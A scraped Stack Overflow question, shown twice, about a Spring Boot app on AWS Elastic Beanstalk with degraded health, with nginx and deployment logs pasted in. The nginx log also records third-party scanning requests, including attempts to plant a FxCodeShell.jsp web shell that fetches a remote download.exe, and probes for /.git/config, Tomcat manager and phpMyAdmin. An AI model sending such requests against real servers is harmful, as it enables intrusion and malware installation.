Deployment issue of Java spring boot App on AWSIssue in deployment of react app in netlifyIs Java “pass-by-reference” or “pass-by-value”?How do I efficiently iterate over each entry in a Java Map?How do I read / convert an InputStream into a String in Java?When to use LinkedList over ArrayList in Java?How do I generate random integers within a specific range in Java?How do I convert a String to an int in Java?Creating a memory leak with JavaWhat's the difference between @Component, @Repository & @Service annotations in Spring?Unable to access spring boot application hosted on EBS502 bad gateway Elastic Beanstalk Spring Boot

Are "confidant" and "confident" homophones?

What happens if the limit of 4 billion files was exceeded in an ext4 partition?

Taking advantage when HR forgets to communicate the rules

What's the difference between a type and a kind?

Why no parachutes in the Orion AA2 abort test?

Do I need transit visa for Dublin?

Can I Ready an attack action to trigger when the target Blinks back to the Material plane?

Alternative to Willpower in Fighting Cravings

Wearing special clothes in public while in niddah- isn't this a lack of tznius?

How many Jimmys can fit?

Can a USB hub be used to access a drive from two devices?

How important is it for multiple POVs to run chronologically?

How do I check that users don't write down their passwords?

Array or vector? Two dimensional array or matrix?

What is the shape of the upper boundary of water hitting a screen?

Is there an upper limit on the number of cards a character can declare to draw from the Deck of Many Things?

Is it acceptable that I plot a time-series figure with years increasing from right to left?

What is this airplane with small wings at different angles seen at Paphos Airport?

Who goes first? Person disembarking bus or the bicycle?

Shipped package arrived - didn't order, possible scam?

How do I talk to my wife about unrealistic expectations?

What are some bad ways to subvert tropes?

Park the computer

Is this standard Japanese employment negotiations, or am I missing something?



Deployment issue of Java spring boot App on AWS


Issue in deployment of react app in netlifyIs Java “pass-by-reference” or “pass-by-value”?How do I efficiently iterate over each entry in a Java Map?How do I read / convert an InputStream into a String in Java?When to use LinkedList over ArrayList in Java?How do I generate random integers within a specific range in Java?How do I convert a String to an int in Java?Creating a memory leak with JavaWhat's the difference between @Component, @Repository & @Service annotations in Spring?Unable to access spring boot application hosted on EBS502 bad gateway Elastic Beanstalk Spring Boot






.everyoneloves__top-leaderboard:empty,.everyoneloves__mid-leaderboard:empty,.everyoneloves__bot-mid-leaderboard:empty margin-bottom:0;








0















  • I deployed the Java spring boot application on AWS as referred from the medium link https://medium.com/@ryanzhou7/running-spring-boot-on-amazon-web-services-for-free-f3b0aeec809

  • Even after changing server port configuration in both AWS and application.properties file in the java STS application, server health status shown as degraded

  • I collected error logs and researched shows results related to nginx connection lost issue

  • can you guys help to me figure out what mistake occured with your suggestions

  • My entire spring boot application is available in github and its link: https://github.com/aarivalagan/student-Application


  • Mentioned errors in the log file are




    /var/log/nginx/error.log




    2019/03/24 16:40:01 [error] 3647#0: *1 connect() failed (111: Connection refused) while connecting to upstream, client: 62.176.27.243, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:5000/", host: "18.224.86.21:80"



    2019/03/24 19:51:07 [error] 3647#0: *3 connect() failed (111: Connection refused) while connecting to upstream, client: 178.73.215.171, server: , request: "GET / HTTP/1.0", upstream: "http://127.0.0.1:5000/"



    2019/03/24 21:17:17 [error] 3647#0: *5 connect() failed (111: Connection refused) while connecting to upstream, client: 138.0.227.98, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:5000/", host: "18.224.86.21:80"



    2019/03/24 21:53:33 [error] 3647#0: *7 connect() failed (111: Connection refused) while connecting to upstream, client: 109.199.251.172, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:5000/", host: "18.224.86.21:80"



    2019/03/25 02:23:47 [error] 3647#0: *9 connect() failed (111: Connection refused) while connecting to upstream, client: 96.127.158.234, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:5000/", host: "18.224.86.21"



    2019/03/25 04:35:27 [error] 3647#0: *11 connect() failed (111: Connection refused) while connecting to upstream, client: 181.161.56.28, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:5000/", host: "18.224.86.21:80"



    2019/03/25 04:35:27 [error] 3647#0: *13 connect() failed (111: Connection refused) while connecting to upstream, client: 181.161.56.28, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:5000/", host: "18.224.86.21:80"



    2019/03/25 04:35:27 [error] 3647#0: *15 connect() failed (111: Connection refused) while connecting to upstream, client: 181.161.56.28, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:5000/", host: "18.224.86.21:80"



    2019/03/25 05:11:44 [error] 3647#0: *17 connect() failed (111: Connection refused) while connecting to upstream, client: 177.215.69.235, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:5000/", host: "18.224.86.21:80"



    2019/03/25 05:45:33 [error] 3647#0: *19 connect() failed (111: Connection refused) while connecting to upstream, client: 107.170.198.36, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:5000/", host: "18.224.86.21"



    2019/03/25 06:12:52 [error] 3647#0: *21 connect() failed (111: Connection refused) while connecting to upstream, client: 2.78.57.211, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:5000/", host: "18.224.86.21:80"



    2019/03/25 06:45:10 [error] 3647#0: *23 connect() failed (111: Connection refused) while connecting to upstream, client: 201.43.129.128, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:5000/", host: "18.224.86.21:80"



    2019/03/25 09:52:47 [error] 3647#0: *25 connect() failed (111: Connection refused) while connecting to upstream, client: 92.38.106.94, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:5000/", host: "18.224.86.21:80"



    2019/03/25 11:16:00 [error] 3647#0: *27 connect() failed (111: Connection refused) while connecting to upstream, client: 177.9.249.34, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:5000/", host: "18.224.86.21:80"



    2019/03/25 11:24:28 [error] 3647#0: *29 connect() failed (111: Connection refused) while connecting to upstream, client: 79.16.154.57, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:5000/", host: "18.224.86.21:80"



    2019/03/25 12:04:23 [error] 3647#0: *31 connect() failed (111: Connection refused) while connecting to upstream, client: 177.103.123.176, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:5000/", host: "18.224.86.21:80"



    2019/03/25 12:36:34 [error] 3647#0: *33 connect() failed (111: Connection refused) while connecting to upstream, client: 93.115.226.50, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:5000/", host: "18.224.86.21:80"



    2019/03/25 14:12:56 [error] 3647#0: *35 connect() failed (111: Connection refused) while connecting to upstream, client: 125.64.94.197, server: , request: "GET / HTTP/1.0", upstream: "http://127.0.0.1:5000/"



    2019/03/25 14:16:34 [warn] 3647#0: *37 using uninitialized "year" variable while logging request, client: 141.98.81.185, server: , request: "��/*����Cookie: mstshash=Administr"



    2019/03/25 14:16:34 [warn] 3647#0: *37 using uninitialized "month" variable while logging request, client: 141.98.81.185, server: , request: "��/*����Cookie: mstshash=Administr"



    2019/03/25 14:16:34 [warn] 3647#0: *37 using uninitialized "day" variable while logging request, client: 141.98.81.185, server: , request: "��/*����Cookie: mstshash=Administr"



    2019/03/25 14:16:34 [warn] 3647#0: *37 using uninitialized "hour" variable while logging request, client: 141.98.81.185, server: , request: "��/*����Cookie: mstshash=Administr"



    2019/03/25 14:45:42 [error] 3647#0: *38 connect() failed (111: Connection refused) while connecting to upstream, client: 140.249.198.51, server: , request: "PUT /FxCodeShell.jsp%20 HTTP/1.1", upstream: "http://127.0.0.1:5000/FxCodeShell.jsp%20", host: "18.224.86.21", referrer: "http://18.224.86.21:80/FxCodeShell.jsp%20"
    2019/03/25 14:45:42 [error] 3647#0: *38 connect() failed (111: Connection refused) while connecting to upstream, client: 140.249.198.51, server: , request: "PUT /FxCodeShell.jsp::$DATA HTTP/1.1", upstream: "http://127.0.0.1:5000/FxCodeShell.jsp::$DATA", host: "18.224.86.21", referrer: "http://18.224.86.21:80/FxCodeShell.jsp::$DATA"
    2019/03/25 14:45:42 [error] 3647#0: *38 connect() failed (111: Connection refused) while connecting to upstream, client: 140.249.198.51, server: , request: "PUT /FxCodeShell.jsp/ HTTP/1.1", upstream: "http://127.0.0.1:5000/FxCodeShell.jsp/", host: "18.224.86.21", referrer: "http://18.224.86.21:80/FxCodeShell.jsp/"
    2019/03/25 14:45:42 [error] 3647#0: *38 connect() failed (111: Connection refused) while connecting to upstream, client: 140.249.198.51, server: , request: "GET /FxCodeShell.jsp?view=FxxkMyLie1836710Aa&os=1&address=http://fid.hognoob.se/download.exe HTTP/1.1", upstream: "http://127.0.0.1:5000/FxCodeShell.jsp?view=FxxkMyLie1836710Aa&os=1&address=http://fid.hognoob.se/download.exe", host: "18.224.86.21", referrer: "http://18.224.86.21:80/FxCodeShell.jsp?view=FxxkMyLie1836710Aa&os=1&address=http://fid.hognoob.se/download.exe"
    2019/03/25 15:20:45 [error] 3647#0: *43 connect() failed (111: Connection refused) while connecting to upstream, client: 36.68.204.27, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:5000/", host: "18.224.86.21:80"
    2019/03/25 17:08:14 [error] 3647#0: *46 connect() failed (111: Connection refused) while connecting to upstream, client: 103.240.91.110, server: , request: "GET /manager/html HTTP/1.1", upstream: "http://127.0.0.1:5000/manager/html", host: "18.224.86.21"
    2019/03/25 17:51:20 [error] 3647#0: *48 connect() failed (111: Connection refused) while connecting to upstream, client: 34.207.185.88, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:5000/", host: "18.224.86.21"
    2019/03/25 18:07:40 [error] 3647#0: *50 connect() failed (111: Connection refused) while connecting to upstream, client: 103.242.59.230, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:5000/", host: "18.224.86.21:80"
    2019/03/25 19:48:41 [error] 3647#0: *52 connect() failed (111: Connection refused) while connecting to upstream, client: 45.238.164.36, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:5000/", host: "18.224.86.21:80"
    2019/03/25 20:20:45 [warn] 13686#0: *1 using uninitialized "year" variable while logging request, client: 211.23.154.136, server: , request: "�u��qß;Ÿùçäé#Ôo¾%Ú„åÉ÷„9Q^tÕ¢b¹=X��À/À+ÀÀÀÀ ÀÀ"
    2019/03/25 20:20:45 [warn] 13686#0: *1 using uninitialized "month" variable while logging request, client: 211.23.154.136, server: , request: "�u��qß;Ÿùçäé#Ôo¾%Ú„åÉ÷„9Q^tÕ¢b¹=X��À/À+ÀÀÀÀ ÀÀ"
    2019/03/25 20:20:45 [warn] 13686#0: *1 using uninitialized "day" variable while logging request, client: 211.23.154.136, server: , request: "�u��qß;Ÿùçäé#Ôo¾%Ú„åÉ÷„9Q^tÕ¢b¹=X��À/À+ÀÀÀÀ ÀÀ"
    2019/03/25 20:20:45 [warn] 13686#0: *1 using uninitialized "hour" variable while logging request, client: 211.23.154.136, server: , request: "�u��qß;Ÿùçäé#Ôo¾%Ú„åÉ÷„9Q^tÕ¢b¹=X��À/À+ÀÀÀÀ ÀÀ"
    2019/03/25 21:46:32 [error] 13686#0: *2 connect() failed (111: Connection refused) while connecting to upstream, client: 185.228.80.33, server: , request: "GET /telephony-service.html HTTP/1.1", upstream: "http://127.0.0.1:5000/telephony-service.html", host: "18.224.86.21"
    2019/03/25 21:56:05 [warn] 13686#0: *4 using uninitialized "year" variable while logging request, client: 46.161.27.51, server: , request: "��/*����Cookie: mstshash=Administr"
    2019/03/25 21:56:05 [warn] 13686#0: *4 using uninitialized "month" variable while logging request, client: 46.161.27.51, server: , request: "��/*����Cookie: mstshash=Administr"
    2019/03/25 21:56:05 [warn] 13686#0: *4 using uninitialized "day" variable while logging request, client: 46.161.27.51, server: , request: "��/*����Cookie: mstshash=Administr"
    2019/03/25 21:56:05 [warn] 13686#0: *4 using uninitialized "hour" variable while logging request, client: 46.161.27.51, server: , request: "��/*����Cookie: mstshash=Administr"
    2019/03/25 22:18:47 [error] 13686#0: *5 connect() failed (111: Connection refused) while connecting to upstream, client: 185.20.6.41, server: , request: "GET /FxCodeShell.jsp%20 HTTP/1.1", upstream: "http://127.0.0.1:5000/FxCodeShell.jsp%20", host: "18.224.86.21"
    2019/03/25 22:35:11 [error] 13686#0: *7 connect() failed (111: Connection refused) while connecting to upstream, client: 110.137.176.241, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:5000/", host: "18.224.86.21:80"
    2019/03/26 01:22:37 [error] 13686#0: *9 connect() failed (111: Connection refused) while connecting to upstream, client: 145.239.81.228, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:5000/", host: "18.224.86.21"
    2019/03/26 01:50:00 [error] 13686#0: *11 connect() failed (111: Connection refused) while connecting to upstream, client: 148.163.128.145, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:5000/", host: "18.224.86.21"
    2019/03/26 02:29:45 [error] 13686#0: *13 connect() failed (111: Connection refused) while connecting to upstream, client: 194.44.86.82, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:5000/", host: "18.224.86.21:80"
    2019/03/26 03:02:47 [error] 13686#0: *15 connect() failed (111: Connection refused) while connecting to upstream, client: 139.162.106.181, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:5000/", host: "18.224.86.21"
    2019/03/26 03:16:02 [error] 13686#0: *17 connect() failed (111: Connection refused) while connecting to upstream, client: 139.180.216.25, server: , request: "GET /.git/config HTTP/1.1", upstream: "http://127.0.0.1:5000/.git/config", host: "18.224.86.21"
    2019/03/26 03:16:03 [warn] 13686#0: *17 using uninitialized "year" variable while logging request, client: 139.180.216.25, server: , request: "�"
    2019/03/26 03:16:03 [warn] 13686#0: *17 using uninitialized "month" variable while logging request, client: 139.180.216.25, server: , request: "�"
    2019/03/26 03:16:03 [warn] 13686#0: *17 using uninitialized "day" variable while logging request, client: 139.180.216.25, server: , request: "�"
    2019/03/26 03:16:03 [warn] 13686#0: *17 using uninitialized "hour" variable while logging request, client: 139.180.216.25, server: , request: "�"
    2019/03/26 07:54:23 [error] 13686#0: *19 connect() failed (111: Connection refused) while connecting to upstream, client: 189.159.133.125, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:5000/", host: "18.224.86.21:80"
    2019/03/26 08:30:35 [error] 13686#0: *22 connect() failed (111: Connection refused) while connecting to upstream, client: 216.245.197.254, server: , request: "HEAD /robots.txt HTTP/1.0", upstream: "http://127.0.0.1:5000/robots.txt"
    2019/03/26 09:17:56 [error] 13686#0: *24 connect() failed (111: Connection refused) while connecting to upstream, client: 172.104.108.109, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:5000/", host: "18.224.86.21:80"
    2019/03/26 09:42:10 [error] 13686#0: *26 connect() failed (111: Connection refused) while connecting to upstream, client: 80.50.114.42, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:5000/", host: "18.224.86.21:80"
    2019/03/26 11:07:48 [error] 13686#0: *28 connect() failed (111: Connection refused) while connecting to upstream, client: 177.73.2.111, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:5000/", host: "18.224.86.21:80"
    2019/03/26 11:44:24 [error] 13686#0: *30 connect() failed (111: Connection refused) while connecting to upstream, client: 124.158.168.182, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:5000/", host: "18.224.86.21:80"
    2019/03/26 11:53:07 [error] 13686#0: *32 connect() failed (111: Connection refused) while connecting to upstream, client: 115.236.191.214, server: , request: "GET /index.php HTTP/1.1", upstream: "http://127.0.0.1:5000/index.php", host: "18.224.86.21"
    2019/03/26 11:53:07 [error] 13686#0: *32 connect() failed (111: Connection refused) while connecting to upstream, client: 115.236.191.214, server: , request: "GET /phpmyadmin/index.php HTTP/1.1", upstream: "http://127.0.0.1:5000/phpmyadmin/index.php", host: "18.224.86.21"
    2019/03/26 12:16:28 [error] 13686#0: *35 connect() failed (111: Connection refused) while connecting to upstream, client: 5.219.91.56, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:5000/", host: "18.224.86.21:80"
    2019/03/26 12:26:05 [error] 13686#0: *37 connect() failed (111: Connection refused) while connecting to upstream, client: 177.189.43.78, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:5000/", host: "18.224.86.21:80"
    2019/03/26 13:21:12 [error] 13686#0: *39 connect() failed (111: Connection refused) while connecting to upstream, client: 201.18.41.2, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:5000/", host: "18.224.86.21:80"





    /var/log/eb-activity.log



     creating: /var/app/staging/StudentCousr/target/maven-status/maven-compiler-plugin/testCompile/
    creating: /var/app/staging/StudentCousr/target/maven-status/maven-compiler-plugin/testCompile/default-testCompile/


    extracting: /var/app/staging/StudentCousr/target/maven-status/maven-compiler-plugin/testCompile/default-testCompile/inputFiles.lst

    inflating: /var/app/staging/StudentCousr/target/StudentCousr-0.0.1-SNAPSHOT.jar

    inflating: /var/app/staging/StudentCousr/target/StudentCousr-0.0.1-SNAPSHOT.jar.original

    creating: /var/app/staging/StudentCousr/target/test-classes/
    Executing: HOME=/tmp /opt/elasticbeanstalk/lib/ruby/bin/ruby /opt/elasticbeanstalk/lib/ruby/bin/foreman export supervisord --procfile /var/app/staging/Procfile --root /var/app/current --app application --log /var/log/ --user webapp --template /opt/elasticbeanstalk/private/config/foreman/supervisord --env /var/elasticbeanstalk/staging/elasticbeanstalk.env /var/elasticbeanstalk/staging/supervisor
    [foreman export] writing: application.conf
    Executing: /opt/elasticbeanstalk/bin/log-conf -n supervisor -l'/var/log/supervisord.log' -t bundlelogs



    Executing: /opt/elasticbeanstalk/bin/log-conf -n containerlistener -l'/var/log/eb-container-listener.log' -t bundlelogs



    [2019-03-25T20:05:16.005Z] INFO [13493] - [Application restart/RestartAppServerStage0/RestartAppServerPreHook/01_configure_xray.sh] : Starting activity...
    [2019-03-25T20:05:16.116Z] INFO [13493] - [Application restart/RestartAppServerStage0/RestartAppServerPreHook/01_configure_xray.sh] : Completed activity.
    [2019-03-25T20:05:16.116Z] INFO [13493] - [Application restart/RestartAppServerStage0/RestartAppServerPreHook/03_configure_proxy.sh] : Starting activity...
    [2019-03-25T20:05:16.287Z] INFO [13493] - [Application restart/RestartAppServerStage0/RestartAppServerPreHook/03_configure_proxy.sh] : Completed activity. Result:
    Executing: /opt/elasticbeanstalk/bin/log-conf -n nginx -l'/var/log/nginx/*'



    Executing: /usr/sbin/nginx -t -c /var/elasticbeanstalk/staging/nginx/nginx.conf
    nginx: the configuration file /var/elasticbeanstalk/staging/nginx/nginx.conf syntax is ok
    nginx: configuration file /var/elasticbeanstalk/staging/nginx/nginx.conf test is successful
    [2019-03-25T20:05:16.287Z] INFO [13493] - [Application restart/RestartAppServerStage0/RestartAppServerPreHook] : Completed activity. Result:
    Successfully execute hooks in directory /opt/elasticbeanstalk/hooks/restartappserver/pre.
    [2019-03-25T20:05:16.287Z] INFO [13493] - [Application restart/RestartAppServerStage0] : Completed activity. Result:
    Application restart - Command CMD-RestartAppServer stage 0 completed
    [2019-03-25T20:05:16.287Z] INFO [13493] - [Application restart/RestartAppServerStage1] : Starting activity...
    [2019-03-25T20:05:16.287Z] INFO [13493] - [Application restart/RestartAppServerStage1/RestartAppServerEnactHook] : Starting activity...
    [2019-03-25T20:05:16.288Z] INFO [13493] - [Application restart/RestartAppServerStage1/RestartAppServerEnactHook/01_stop_before_promote.sh] : Starting activity...
    [2019-03-25T20:05:27.929Z] INFO [13493] - [Application restart/RestartAppServerStage1/RestartAppServerEnactHook/01_stop_before_promote.sh] : Completed activity. Result:
    Executing: /usr/local/bin/supervisorctl -c /etc/supervisor/supervisord.conf stop application:*



    Process termination taking longer than 10 seconds.
    Executing: /usr/local/bin/supervisorctl -c /etc/supervisor/supervisord.conf stop all
    listener:supervisor_listener: stopped
    Executing: /sbin/status supervisord
    supervisord start/running, process 3598
    Executing: /sbin/stop supervisord
    supervisord stop/waiting
    [2019-03-25T20:05:27.929Z] INFO [13493] - [Application restart/RestartAppServerStage1/RestartAppServerEnactHook/01stop_xray.sh] : Starting activity...
    [2019-03-25T20:05:28.045Z] INFO [13493] - [Application restart/RestartAppServerStage1/RestartAppServerEnactHook/01stop_xray.sh] : Completed activity. Result:
    Executing: if ( initctl status xray | grep start ); then initctl stop xray; fi



    [2019-03-25T20:05:28.045Z] INFO [13493] - [Application restart/RestartAppServerStage1/RestartAppServerEnactHook/02start_xray.sh] : Starting activity...
    [2019-03-25T20:05:28.152Z] INFO [13493] - [Application restart/RestartAppServerStage1/RestartAppServerEnactHook/02start_xray.sh] : Completed activity.
    [2019-03-25T20:05:28.152Z] INFO [13493] - [Application restart/RestartAppServerStage1/RestartAppServerEnactHook/03_stop_proxy.sh] : Starting activity...
    [2019-03-25T20:05:28.368Z] INFO [13493] - [Application restart/RestartAppServerStage1/RestartAppServerEnactHook/03_stop_proxy.sh] : Completed activity. Result:
    Executing: service nginx stop
    Stopping nginx: [ OK ]
    [2019-03-25T20:05:28.368Z] INFO [13493] - [Application restart/RestartAppServerStage1/RestartAppServerEnactHook/07_start_application.sh] : Starting activity...
    [2019-03-25T20:05:28.475Z] INFO [13493] - [Application restart/RestartAppServerStage1/RestartAppServerEnactHook/07_start_application.sh] : Completed activity. Result:
    Executing: /sbin/start supervisord
    supervisord start/running, process 13637
    [2019-03-25T20:05:28.475Z] INFO [13493] - [Application restart/RestartAppServerStage1/RestartAppServerEnactHook/09_start_proxy.sh] : Starting activity...
    [2019-03-25T20:05:31.076Z] INFO [13493] - [Application restart/RestartAppServerStage1/RestartAppServerEnactHook/09_start_proxy.sh] : Completed activity. Result:
    Executing: service nginx stop



    Executing: service nginx start
    Starting nginx: [ OK ]
    Executing: /opt/elasticbeanstalk/bin/healthd-track-pidfile --proxy nginx



    Executing: /opt/elasticbeanstalk/bin/healthd-configure --appstat-log-path /var/log/nginx/healthd/application.log --appstat-unit sec --appstat-timestamp-on 'completion'



    Executing: /opt/elasticbeanstalk/bin/healthd-restart



    [2019-03-25T20:05:31.076Z] INFO [13493] - [Application restart/RestartAppServerStage1/RestartAppServerEnactHook/11_stop_after_promote.sh] : Starting activity...
    [2019-03-25T20:05:31.354Z] INFO [13493] - [Application restart/RestartAppServerStage1/RestartAppServerEnactHook/11_stop_after_promote.sh] : Completed activity.
    [2019-03-25T20:05:31.354Z] INFO [13493] - [Application restart/RestartAppServerStage1/RestartAppServerEnactHook] : Completed activity. Result:
    Successfully execute hooks in directory /opt/elasticbeanstalk/hooks/restartappserver/enact.
    [2019-03-25T20:05:31.354Z] INFO [13493] - [Application restart/RestartAppServerStage1/RestartAppServerPostHook] : Starting activity...
    [2019-03-25T20:05:31.354Z] INFO [13493] - [Application restart/RestartAppServerStage1/RestartAppServerPostHook] : Completed activity. Result:
    Successfully execute hooks in directory /opt/elasticbeanstalk/hooks/restartappserver/post.
    [2019-03-25T20:05:31.354Z] INFO [13493] - [Application restart/RestartAppServerStage1] : Completed activity. Result:
    Application restart - Command CMD-RestartAppServer stage 1 completed
    [2019-03-25T20:05:31.354Z] INFO [13493] - [Application restart/AddonsAfter] : Starting activity...
    [2019-03-25T20:05:31.354Z] INFO [13493] - [Application restart/AddonsAfter/ConfigLogRotation] : Starting activity...
    [2019-03-25T20:05:31.354Z] INFO [13493] - [Application restart/AddonsAfter/ConfigLogRotation/10-config.sh] : Starting activity...
    [2019-03-25T20:05:31.593Z] INFO [13493] - [Application restart/AddonsAfter/ConfigLogRotation/10-config.sh] : Completed activity. Result:
    Disabled forced hourly log rotation.
    [2019-03-25T20:05:31.593Z] INFO [13493] - [Application restart/AddonsAfter/ConfigLogRotation] : Completed activity. Result:
    Successfully execute hooks in directory /opt/elasticbeanstalk/addons/logpublish/hooks/config.
    [2019-03-25T20:05:31.593Z] INFO [13493] - [Application restart/AddonsAfter] : Completed activity.
    [2019-03-25T20:05:31.593Z] INFO [13493] - [Application restart] : Completed activity. Result:
    Application restart - Command CMD-RestartAppServer succeeded
    [2019-03-25T20:18:21.683Z] INFO [14170] - [CMD-TailLogs] : Starting activity...
    [2019-03-25T20:18:21.683Z] INFO [14170] - [CMD-TailLogs/AddonsBefore] : Starting activity...
    [2019-03-25T20:18:21.683Z] INFO [14170] - [CMD-TailLogs/AddonsBefore] : Completed activity.
    [2019-03-25T20:18:21.683Z] INFO [14170] - [CMD-TailLogs/TailLogs] : Starting activity...
    [2019-03-25T20:18:21.683Z] INFO [14170] - [CMD-TailLogs/TailLogs/TailLogs] : Starting activity...
    [2019-03-25T20:18:21.916Z] INFO [14170] - [CMD-TailLogs/TailLogs/TailLogs] : Completed activity.
    [2019-03-25T20:18:21.916Z] INFO [14170] - [CMD-TailLogs/TailLogs] : Completed activity. Result:
    CMD-TailLogs - stage 0 - Command CMD-TailLogs stage 0 completed
    [2019-03-25T20:18:21.916Z] INFO [14170] - [CMD-TailLogs/AddonsAfter] : Starting activity...
    [2019-03-25T20:18:21.916Z] INFO [14170] - [CMD-TailLogs/AddonsAfter] : Completed activity.
    [2019-03-25T20:18:21.916Z] INFO [14170] - [CMD-TailLogs] : Completed activity. Result:
    CMD-TailLogs - Command CMD-TailLogs succeeded
    [2019-03-26T14:07:24.343Z] INFO [14928] - [CMD-TailLogs] : Starting activity...
    [2019-03-26T14:07:24.344Z] INFO [14928] - [CMD-TailLogs/AddonsBefore] : Starting activity...
    [2019-03-26T14:07:24.344Z] INFO [14928] - [CMD-TailLogs/AddonsBefore] : Completed activity.
    [2019-03-26T14:07:24.344Z] INFO [14928] - [CMD-TailLogs/TailLogs] : Starting activity...
    [2019-03-26T14:07:24.344Z] INFO [14928] - [CMD-TailLogs/TailLogs/TailLogs] : Starting activity...











share|improve this question






























    0















    • I deployed the Java spring boot application on AWS as referred from the medium link https://medium.com/@ryanzhou7/running-spring-boot-on-amazon-web-services-for-free-f3b0aeec809

    • Even after changing server port configuration in both AWS and application.properties file in the java STS application, server health status shown as degraded

    • I collected error logs and researched shows results related to nginx connection lost issue

    • can you guys help to me figure out what mistake occured with your suggestions

    • My entire spring boot application is available in github and its link: https://github.com/aarivalagan/student-Application


    • Mentioned errors in the log file are




      /var/log/nginx/error.log




      2019/03/24 16:40:01 [error] 3647#0: *1 connect() failed (111: Connection refused) while connecting to upstream, client: 62.176.27.243, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:5000/", host: "18.224.86.21:80"



      2019/03/24 19:51:07 [error] 3647#0: *3 connect() failed (111: Connection refused) while connecting to upstream, client: 178.73.215.171, server: , request: "GET / HTTP/1.0", upstream: "http://127.0.0.1:5000/"



      2019/03/24 21:17:17 [error] 3647#0: *5 connect() failed (111: Connection refused) while connecting to upstream, client: 138.0.227.98, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:5000/", host: "18.224.86.21:80"



      2019/03/24 21:53:33 [error] 3647#0: *7 connect() failed (111: Connection refused) while connecting to upstream, client: 109.199.251.172, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:5000/", host: "18.224.86.21:80"



      2019/03/25 02:23:47 [error] 3647#0: *9 connect() failed (111: Connection refused) while connecting to upstream, client: 96.127.158.234, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:5000/", host: "18.224.86.21"



      2019/03/25 04:35:27 [error] 3647#0: *11 connect() failed (111: Connection refused) while connecting to upstream, client: 181.161.56.28, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:5000/", host: "18.224.86.21:80"



      2019/03/25 04:35:27 [error] 3647#0: *13 connect() failed (111: Connection refused) while connecting to upstream, client: 181.161.56.28, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:5000/", host: "18.224.86.21:80"



      2019/03/25 04:35:27 [error] 3647#0: *15 connect() failed (111: Connection refused) while connecting to upstream, client: 181.161.56.28, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:5000/", host: "18.224.86.21:80"



      2019/03/25 05:11:44 [error] 3647#0: *17 connect() failed (111: Connection refused) while connecting to upstream, client: 177.215.69.235, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:5000/", host: "18.224.86.21:80"



      2019/03/25 05:45:33 [error] 3647#0: *19 connect() failed (111: Connection refused) while connecting to upstream, client: 107.170.198.36, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:5000/", host: "18.224.86.21"



      2019/03/25 06:12:52 [error] 3647#0: *21 connect() failed (111: Connection refused) while connecting to upstream, client: 2.78.57.211, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:5000/", host: "18.224.86.21:80"



      2019/03/25 06:45:10 [error] 3647#0: *23 connect() failed (111: Connection refused) while connecting to upstream, client: 201.43.129.128, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:5000/", host: "18.224.86.21:80"



      2019/03/25 09:52:47 [error] 3647#0: *25 connect() failed (111: Connection refused) while connecting to upstream, client: 92.38.106.94, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:5000/", host: "18.224.86.21:80"



      2019/03/25 11:16:00 [error] 3647#0: *27 connect() failed (111: Connection refused) while connecting to upstream, client: 177.9.249.34, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:5000/", host: "18.224.86.21:80"



      2019/03/25 11:24:28 [error] 3647#0: *29 connect() failed (111: Connection refused) while connecting to upstream, client: 79.16.154.57, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:5000/", host: "18.224.86.21:80"



      2019/03/25 12:04:23 [error] 3647#0: *31 connect() failed (111: Connection refused) while connecting to upstream, client: 177.103.123.176, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:5000/", host: "18.224.86.21:80"



      2019/03/25 12:36:34 [error] 3647#0: *33 connect() failed (111: Connection refused) while connecting to upstream, client: 93.115.226.50, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:5000/", host: "18.224.86.21:80"



      2019/03/25 14:12:56 [error] 3647#0: *35 connect() failed (111: Connection refused) while connecting to upstream, client: 125.64.94.197, server: , request: "GET / HTTP/1.0", upstream: "http://127.0.0.1:5000/"



